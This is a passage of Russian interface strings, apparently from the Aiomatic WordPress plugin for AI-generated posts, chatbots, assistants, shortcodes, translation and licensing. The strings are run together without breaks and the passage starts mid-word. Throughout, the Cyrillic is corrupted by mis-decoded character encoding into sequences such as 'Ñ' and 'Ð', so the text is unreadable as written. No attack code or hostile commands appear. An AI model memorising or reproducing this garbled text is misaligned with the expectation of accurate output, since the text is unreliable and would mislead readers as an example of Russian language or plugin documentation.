приложениÑÑ…, например, на Ñайте WordPress. Эти аÑÑиÑтенты могут выполнÑÑ‚ÑŒ различные дейÑтвиÑ, такие как запуÑк кода, поиÑк информации и даже вызов функций Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð·Ð°Ð´Ð°Ñ‡. Ð¡ÐµÐ¹Ñ‡Ð°Ñ Ð¾Ð½Ð° работает Ñ Ð½ÐµÑколькими удобными инÑтрументами, но в Ñкором времени поÑвÑÑ‚ÑÑ Ð¸ другие.МаÑтер контента - Ñто функциÑ, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ñет добавить кнопку в редактор WordPress Ð´Ð»Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰Ð¸ в Ñоздании контента. Ð’Ñ‹ можете добавлÑÑ‚ÑŒ ÑобÑтвенные меню Ñ Ð¿Ñ€Ð¾Ð¼Ð¿Ñ‚Ð°Ð¼Ð¸. МаÑтер контента ÑовмеÑтим как Ñ Gutenberg, так и Ñ Classic Editor. Перейдите в редактор Gutenberg или Classic Editor и найдите логотип плагина Aiomatic на панели инÑтрументов. Ðажмите на логотип и выберите меню, которое вы хотите иÑпользовать. Ðажмите на промпт, который вы хотите иÑпользовать. Обратите внимание, что Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñ Ð¼Ð°Ñтером контента необходимо иÑпользовать функцию "Преобразовать в блок" в редакторе Gutenberg.URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ, из которого будет анимировано видео , или выбор из ÑпиÑка предоÑтавленных актеров Ñтудии.URL главной Ñтраницы вашего Ñайта.КоличеÑтво времени (в Ñекундах), которое ваш Ñайт потратит на одну операцию до иÑÑ‚ÐµÑ‡ÐµÐ½Ð¸Ñ Ð²Ñ€ÐµÐ¼ÐµÐ½Ð¸ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ (во избежание завиÑÐ°Ð½Ð¸Ñ Ñервера).ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñ‡Ð°ÑÑ‚ÑŒ работы выполнена, теперь вы можете перейти к той чаÑти плагина, где вы хотите иÑпользовать аÑÑиÑтентов, и выбрать аÑÑиÑтента вмеÑто модели AI (обычно вы найдете поле наÑтроек 'Ð˜Ð¼Ñ Ð˜Ð¼Ñ ÐÑÑиÑтента AI', где вы Ñможете выбрать импортированных аÑÑиÑтентов.Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð§Ð°Ñ‚-бота позволÑет вам общатьÑÑ Ñ Ð±Ð¾Ñ‚Ð¾Ð¼ AI, задавать вопроÑÑ‹ и получать ответы. Обычно вы вводите Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ð¸Ð»Ð¸ утверждение, а AI генерирует ответ. Это можно иÑпользовать Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, таких как ответы на чаÑто задаваемые вопроÑÑ‹, поддержка клиентов или проÑто общение.Файл csv должен Ñодержать данные о Ð’ÑтраиваниÑÑ… в первом Ñтолбце, каждые новые данные в другой Ñтроке.Текущий Ñзык, иÑпользуемый WordPress. По умолчанию = английÑкийПревышено ежедневное количеÑтво токенов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи! ПожалуйÑта, повторите попытку завтра.Следующие идентификаторы OmniBlock не иÑпользуютÑÑ Ð² очереди (их можно удалить):Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ„Ð¾Ñ€Ð¼ позволит вам раÑширить функциональноÑÑ‚ÑŒ вашего Ñайта, предоÑтавить индивидуальные ответы на вопроÑÑ‹ пользователей или даже Ñоздать веб-Ñайты Ð´Ð»Ñ AI membership. Эти формы можно будет иÑпользовать Ñ€Ñдом Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ñ‹Ð¼Ð¸ «вÑтроенными» Шорткодами, которые предоÑтавлÑÑŽÑ‚ÑÑ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼. Эти «вÑтроенные» Шорткоды перечиÑлены на вкладке «ВÑтроенные Шорткоды» Ñверху.МакÑимальный размер файла, который может ÑодержатьÑÑ Ð² одном ПоÑте.МакÑимальный размер файла, который можно загрузить в вашу уÑтановку WordPress.Идентификатор лицензии Ð´Ð»Ñ Ñ„Ð¾Ñ‚Ð¾Ð³Ñ€Ð°Ñ„Ð¸Ð¹, которые нужно иÑкать.ОÑновное различие между режимами публикации на оÑнове Темы и на оÑнове Заголовка заключаетÑÑ Ð² том, что режим на оÑнове Темы будет делать отдельный Ð·Ð°Ð¿Ñ€Ð¾Ñ API Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ главы Контента (+Ð’ÑÑ‚ÑƒÐ¿Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, ВопроÑÑ‹ Ответы) и ÑоÑтавлÑÑ‚ÑŒ Статью на оÑнове результатов каждого из Ñтих отдельных API ЗапроÑов. Ð’ то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð½Ð° оÑнове Заголовка будет делать один Ð·Ð°Ð¿Ñ€Ð¾Ñ API Ð´Ð»Ñ Ð²Ñего Ñодержимого Статьи. Ð”Ð»Ñ Ð±Ð¾Ð»ÐµÐµ длинных Статей рекомендуетÑÑ Ð¸Ñпользовать метод публикации на оÑнове Темы.ОÑновные Ñтапы ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð’Ñтраиваний:ОÑновные Ñтапы ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¤Ð¾Ñ€Ð¼:ОÑновными Ñтапами Тонкой ÐаÑтройки ÑвлÑÑŽÑ‚ÑÑМакÑимальный объем памÑти (ОЗУ), который ваш Ñайт может иÑпользовать одновременно.МакÑимальное количеÑтво переменных, которые ваш Ñервер может иÑпользовать Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð¹ функции, чтобы избежать перегрузок.МакÑимальное количеÑтво переменных, которые ваш Ñервер может иÑпользовать Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð¹ функции, чтобы избежать перегрузок. Это необÑÐ·Ð°Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð½Ð°Ñтройка, так как Плагин может обрабатывать и Ñлучаи, когда Ñто значение меньше требуемого.ID Идентификатор медиа-Ð²Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ найден в базе данных: ID Ð²Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° не был правильно проанализирован, повторите попытку.ID Ð²Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° был передан неправильно, повторите попытку.КоличеÑтво Ñлементов (ПоÑтов, Ñтраниц), Ñозданных Ñтим правилом.КоличеÑтво результатов, возвращаемых Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ запроÑа.ПорÑдок Ñортировки возвращаемых фотографий. Deafults to date-posts-desc (еÑли вы не выполнÑете радиальный гео-запроÑ, в Ñтом Ñлучае Ñортировка по умолчанию производитÑÑ Ð¿Ð¾ возраÑтанию раÑÑтоÑÐ½Ð¸Ñ Ð¾Ñ‚ указанной точки).Плагин не зарегиÑтрирован. ÐвтоматичеÑкое обновление отключено. ПожалуйÑта, купите лицензию на него здеÑÑŒ и зарегиÑтрируйте Плагин из меню "ОÑновные ÐаÑтройки" Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ кода покупки. Как Ñ Ð½Ð°Ñ…Ð¾Ð¶Ñƒ Ñвой код покупки?Плагин автоматичеÑки добавит Ñозданные AI Мета-опиÑÐ°Ð½Ð¸Ñ SEO к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта.Плагин автоматичеÑки добавит Внутренние СÑылки на другие ПоÑÑ‚Ñ‹ Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта, к Ключевым Словам из каждого ПоÑта.Плагин автоматичеÑки добавит Категории к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта.Плагин будет автоматичеÑки добавлÑÑ‚ÑŒ Комментарии к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта.Плагин автоматичеÑки добавит Теги к ПоÑтам Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта.Плагин автоматичеÑки отредактирует главное изображение поÑта Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ иÑкуÑÑтвенного интеллекта, оÑновываÑÑÑŒ на промпте, который вы зададите в наÑтройках.Плагин будет автоматичеÑки редактировать изображениÑ, найденные в контенте поÑта, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ иÑкуÑÑтвенного интеллекта, оÑновываÑÑÑŒ на промпте, который вы зададите в наÑтройках.Плагин будет генерировать AI-контент, который будет добавлÑÑ‚ÑŒÑÑ Ðº контенту каждого поÑта.Плагин будет генерировать Ñгенерированные AI или беÑплатные изображениÑ, которые будут назначены в качеÑтве избранных изображений Ð´Ð»Ñ ÐŸÐ¾Ñтов.Плагин перепишет текÑтовый Контент опубликованного ПоÑта, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ AI.Корневой URL вашего Ñайта.Стиль Ñоздаваемых изображений. Должен быть одним из Ñрких или еÑтеÑтвенных. Vivid заÑтавлÑет модель ÑклонÑÑ‚ÑŒÑÑ Ðº Ñозданию гиперреальных и драматичеÑких изображений. Natural заÑтавлÑет модель генерировать более еÑтеÑтвенные, менее гиперреалиÑтичные изображениÑ. Этот параметр поддерживаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ dall-e-3.ВерÑÐ¸Ñ MySQL, уÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð°Ñ Ð½Ð° вашем хоÑтинг-Ñервере.ВерÑÐ¸Ñ PHP, уÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð°Ñ Ð½Ð° вашем хоÑтинг-Ñервере.ВерÑÐ¸Ñ WordPress, уÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð°Ñ Ð½Ð° вашем Ñайте.Черновой вариант темы обновлен.Тема опубликована.Тема воÑÑтановлена ​​до верÑии %s.Тема Ñохранена.Тема запланирована на: %1$s.Тема отправлена.Тема обновлена.Журнал изменений недоÑтупен.Эти правила в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÑŽÑ‚ на вашем Ñервере.Третье лицо множеÑтвенного чиÑла (они, их, их, Ñами)Третье лицо единÑтвенного чиÑла (он, она, оно)Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð² наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½Ðµ поддерживаетÑÑ Ð¿Ñ€Ð¸ иÑпользовании API Azure/Claude!Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ ÐºÐ»ÑŽÑ‡ÐµÐ¹ OpenAI API.Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в том Ñлучае, еÑли вы введете один ключ API OpenAI в меню «ОÑновные ÐаÑтройки» Плагина.Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° отключена! ПожалуйÑта, включите его Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ вышеуказанного переключателÑ.Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð¿Ñ‹Ñ‚Ð°ÐµÑ‚ÑÑ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ Ñтандартную категорию ПоÑтов WordPress. Это может завершитьÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ¾Ð¹, еÑли дополнительные категорAI не добавлены, поÑкольку WordPress требует как минимум одну категорию ПоÑтов Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ ПоÑÑ‚Ñ‹.Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð¿Ñ‹Ñ‚Ð°ÐµÑ‚ÑÑ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ Ñтандартную категорию ПоÑтов WordPress. Это может завершитьÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ¾Ð¹, еÑли дополнительные категорAI не добавлены, поÑкольку WordPress требует как минимум одну категорию ПоÑтов Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ ПоÑÑ‚Ñ‹.Это Ñ…Ð¾Ñ€Ð¾ÑˆÐ°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ð¸Ñ‚ вам Ñоединить Aiomatic Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼ 'Ultimate Membership Pro', что позволит вам предоÑтавить учаÑтникам вашего Ñайта функциональноÑÑ‚ÑŒ, предлагаемую плагином. Ð’Ñ‹ можете ограничить иÑпользование плагина Ð´Ð»Ñ ÑƒÑ‡Ð°Ñтников, оÑновываÑÑÑŒ на их планах подпиÑки, что позволит вам Ñ Ð»ÐµÐ³ÐºÐ¾Ñтью Ñоздать Ñайт членÑтва AI.Это Ð¿Ñ€Ð¾Ð±Ð½Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°. ÐвтоматичеÑкие Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñтого Плагина отключены. ПожалуйÑта, активируйте Плагин Ñнизу, чтобы вы могли получать Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ автоматичеÑкие обновлениÑ!Это, пожалуй, ÑÐ°Ð¼Ð°Ñ Ð±Ð¾Ð»ÑŒÑˆÐ°Ñ Â«ÑÐºÑ€Ñ‹Ñ‚Ð°Ñ Ð¶ÐµÐ¼Ñ‡ÑƒÐ¶Ð¸Ð½Ð°Â» Aiomatic. Он может Ñочетать Ñвою мощь Ñ Ð»ÑŽÐ±Ñ‹Ð¼ другим Ñозданным мной плагином, позволÑÑ Ñоздавать контент, Ñгенерированный ИИ, в ПоÑтах, Ñозданных любым другим из моих плагинов. ПредÑтавьте, что контент, Ñозданный ИИ, приÑутÑтвует во вÑех ваших плагинах, от Ñоциальных Ñетей до плагинов парÑинга или новоÑтных поÑтов. Что ж, Ñ Aiomatic Ñта мечта Ñтала реальноÑтью.Это идентификатор правила.Это ID правила.Это оÑновной журнал вашего Плагина. ЗдеÑÑŒ будут перечиÑлены вÑе ÑкземплÑры правил, которые вы запуÑкаете или автоматичеÑки запуÑкаете по раÑпиÑанию (еÑли вы включили ведение журнала в конфигурацAI Плагина).Это ключевое Ñлово будет заменено указанной вами ÑÑылкой.Это ключевое Ñлово заменит определенное вами ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка. ОÑтавьте Ñто поле пуÑтым, еÑли вы хотите добавить только URL к указанному ключевому Ñлову.Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð¾Ñ‚ÐºÐ»ÑŽÑ‡ÐµÐ½Ð°. Чтобы включить ее, добавьте ключ HeadlessBrowserAPI в меню "ОÑновные наÑтройки" плагина.Ð”Ð»Ñ Ñтой опции необходимо, чтобы раÑширение Aiomatic — Хранилище и Ðнализ PDF-файлов было активным.Ð”Ð»Ñ Ñтой опции необходимо, чтобы раÑширение Aiomatic — Хранилище и Ðнализ PDF-файлов было активным. Проверь ÑтоЭта Ð¾Ð¿Ñ†Ð¸Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ð¸Ñ‚ вам выбрать, еÑли вы хотите запуÑтить размещение в аÑинхронном режиме. Это означает, что каждый раз, когда вы публикуете поÑÑ‚, Плагин будет пытатьÑÑ Ð²Ñ‹Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÑŒ Ñто задание в фоновом режиме - он больше не будет блокировать новый поÑÑ‚ проводки, в то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº он заканчивает Ñвою работу.Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð·Ð°Ñтавит плагин не Ñоздавать категории, которых еще нет на вашем Ñайте. Ð”Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð½Ð°Ð¸Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов в Ñтом Ñлучае обÑзательно добавьте в промпт ÑпиÑок категорий, из которых должен выбирать AI.Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð·Ð°Ñтавит плагин не Ñоздавать теги, которых еще нет на вашем Ñайте. Ð”Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð½Ð°Ð¸Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов в Ñтом Ñлучае обÑзательно добавьте в промпт ÑпиÑок тегов, из которых ИИ должен выбирать.Этот Плагин не может быть активирован, потому что Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ требуетÑÑ Ð²ÐµÑ€ÑÐ¸Ñ PHP больше %1$s. Обновите Ñвою верÑию PHP, прежде чем активировать ее.Этот Плагин не может быть активирован, потому что он требует верÑию WordPress больше, чем%1$s. ПожалуйÑта, перейдите в Dashboard -> Updates, чтобы получить поÑледнюю верÑию WordPress.Этот Плагин будет генерировать Контент Ð´Ð»Ñ Ð²Ð°Ñ Ð´Ð°Ð¶Ðµ во Ñне Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI.Этот процеÑÑ ÑƒÐ¶Ðµ запущен!Этот шорткод будет добавлÑÑ‚ÑŒÑÑ Ðº каждому промпту, отправлÑемому плагином ИИ Создателю. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Обновление: поддерживаютÑÑ Ñ‚Ð°ÐºÐ¶Ðµ вложенные шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Это будет добавлено к каждому промпту, отправлÑемому плагином AI Ñоздателю . Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Этот шорткод будет добавлÑÑ‚ÑŒÑÑ Ðº каждому промпту, отправлÑемому плагином AI Создателю. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Обновление: поддерживаютÑÑ Ñ‚Ð°ÐºÐ¶Ðµ вложенные шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Это будет добавлено к каждому Промпту, отправлÑемому плагином AI Создателю . Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. ТигриньÑÐ¢Ð¸Ð³Ñ€Ð¸Ð½ÑŒÑ (Переводчик Google)ВремÑТайифреймВременные рамки:ВремÑ: ВремÑ, когда был Ñделан запроÑ.Тайм-аут Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñов API (Ñ):Тайм-аут Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Headless Browser Execution:Тайм-аут Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ (в Ñекундах):Советы и приемы:ЗаголовокÐа оÑнове ЗаголовкаПоÑÑ‚ на оÑнове заголовка (одиночные вызовы API)Параметры публикации на оÑнове ЗаголовоковÐа оÑнове Заголовка/ЕдинÑтвенно вызов APIМетод генератора заголовковМетод генератора заголовков:Ð˜Ð´ÐµÑ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°/Ключевые ÑловаПромпт заголовкаПромпт Заголовка ПоÑта:ТекÑÑ‚ ЗаголовкаПоиÑк по названию и ÑодержаниюЗаголовок(title)*Чтобы получить более подробную информацию о каждой функции, проÑто перейдите на ÑоответÑтвующие вкладки в верхней чаÑти Ñтой Ñтраницы меню. Ðа каждой вкладке вы найдете обучающие видеоролики, которые помогут вам уÑтановить, наÑтроить и иÑпользовать каждую функцию. Эти видеоролики Ñодержат пошаговые инÑтрукции, которые помогут вам макÑимально Ñффективно иÑпользовать Ñкрытые функции Aiomatic.Чтобы добавить аÑÑиÑтента на Ñвой Ñайт WordPress, выполните Ñледующие дейÑтвиÑ:Чтобы добавить чат-бота на Ñвой веб-Ñайт, укажите короткий код [aiomatic-chat-form] в нужном меÑте на вашем Ñайте.Чтобы начать иÑпользовать Плагин, нажмите на вкладку «ÐÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°Â» Ñверху и зарегиÑтрируйте Ñвой код покупки Envato. Это позволит вам воÑпользоватьÑÑ Ð¿Ð¾Ð»Ð½Ñ‹Ð¼ набором функций Ñтого Плагина. Чтобы узнать, как найти код покупки Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡Ð°ÐµÐ¼Ð¾Ð³Ð¾ модулÑ, Ñм.Чтобы лучше понÑÑ‚ÑŒ, как Ñто может проиÑходить, полезно Ñначала понÑÑ‚ÑŒ, как работает чаÑÑ‚ÑŒ Плагина, Ð³ÐµÐ½ÐµÑ€Ð¸Ñ€ÑƒÑŽÑ‰Ð°Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚. Ð’ большинÑтве Ñлучаев, когда вы запрашиваете у Плагина Ñоздание ПоÑта Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°Ð¼Ð¸, Ñгенерированными AI, 5 Заголовоков, Ð’ÑÑ‚ÑƒÐ¿Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ + Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ и Разделом ВопроÑÑ‹ Ответы, Плагин отправлÑет 1 Ð·Ð°Ð¿Ñ€Ð¾Ñ API Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ (title)заголовка, 5 разных запроÑов API Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾ÐºÐ¾Ð², 3 ЗапроÑа API Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² Ð’Ñтупительной ЧаÑти, Заключительной ЧаÑти и ВопроÑов и Ответов. Таким образом, Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ ПоÑта может быть 9 или более вызовов API к OpenAI/AiomaticAPI. ЕÑли Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¾Ñ‚Ð²ÐµÑ‚Ð° на каждый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ÑÑ 20 Ñекунд, Ñто означает, что Ñоздание Ñтого ПоÑта может занÑÑ‚ÑŒ в общей ÑложноÑти до 180 Ñекунд.Чтобы преобразовать файлы в формат JSONL, вы можете иÑпользоватьЧтобы начать, вы можете ввеÑти тему здеÑÑŒ и начать Ñоздавать Тitle и Контент!Чтобы получить идентификатор поиÑковой ÑиÑтемы Google API (значение CX), перейдите по ÑÑылке %s 2. Выберите Ñвою поиÑковую ÑиÑтему или Ñоздайте ее и щелкните на ней. 3. Ð’Ñ‹ можете найти CX id под названием "ID поиÑковой ÑиÑтемы" 4. Публичный URL также имеет cx id в параметре Query как ?cx=**** здеÑÑŒ. Также Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка результатов во вÑем Интернете Ñледуйте Ñтому руководÑтву.Переключить Дополнительные ПараметрыТокеныÐачало разделаTop_pТемаÐа ОÑнове ТемыПоÑÑ‚ на оÑнове темы (неÑколько вызовов API) – введите ЗаголовокПоÑÑ‚ на оÑнове темы (неÑколько вызовов API) – войти в темуПараметры публикации на оÑнове темыОÑновные Темы/МножеÑтвенный вызов APITor (HeadlessBrowserAPI)Tor (необходимо уÑтановить на Ñервере)Общий лимит токенов в день Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹:ОбучениеФайл ОбучениÑПеревеÑти контент наПереводит текÑÑ‚ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Google Translate/Microsoft Translator/DeepL. Чтобы иÑпользовать Microsoft Translator или DeepL, добавьте Ñвой ключ API Ð´Ð»Ñ Ñтих ÑервиÑов в меню «ОÑновные наÑтройки» плагина.Ключи API ÑервиÑов перевода:ИÑходный Ñзык переводаИÑходный Ñзык перевода:ТранÑпортКорзинаМаршрут переходаПопробуйте перевеÑти ключевые Ñлова поиÑкового запроÑа на английÑкий:ТÑонгаЦонга (Переводчик Google)ТурциÑтурецкийТурецкий (переводчик Google)ТуркменÑкийТуркменÑкий (Google Переводчик)УрокУчебное видеоУчебное видео:Обучающее видео: как иÑпользовать загрузку файлов CSV на Google ДиÑкЧвиTwi (Переводчик Google)Дважды в деньГенератор поÑтов TwitomaticТипТип*Тип: Указанный Тип единиц.Эффект пишущей машинкиURLURL-адреÑа, где не показывать чат-бота:Центральный округ СШР1 (ТехаÑ)ВоÑток СШР1 (Ð¡ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ð’Ð¸Ñ€Ð´Ð¶Ð¸Ð½Ð¸Ñ)ВоÑток СШР2 (Ð¡ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ð’Ð¸Ñ€Ð´Ð¶Ð¸Ð½Ð¸Ñ)ВоÑток СШР2 (Огайо)Запад СШР1 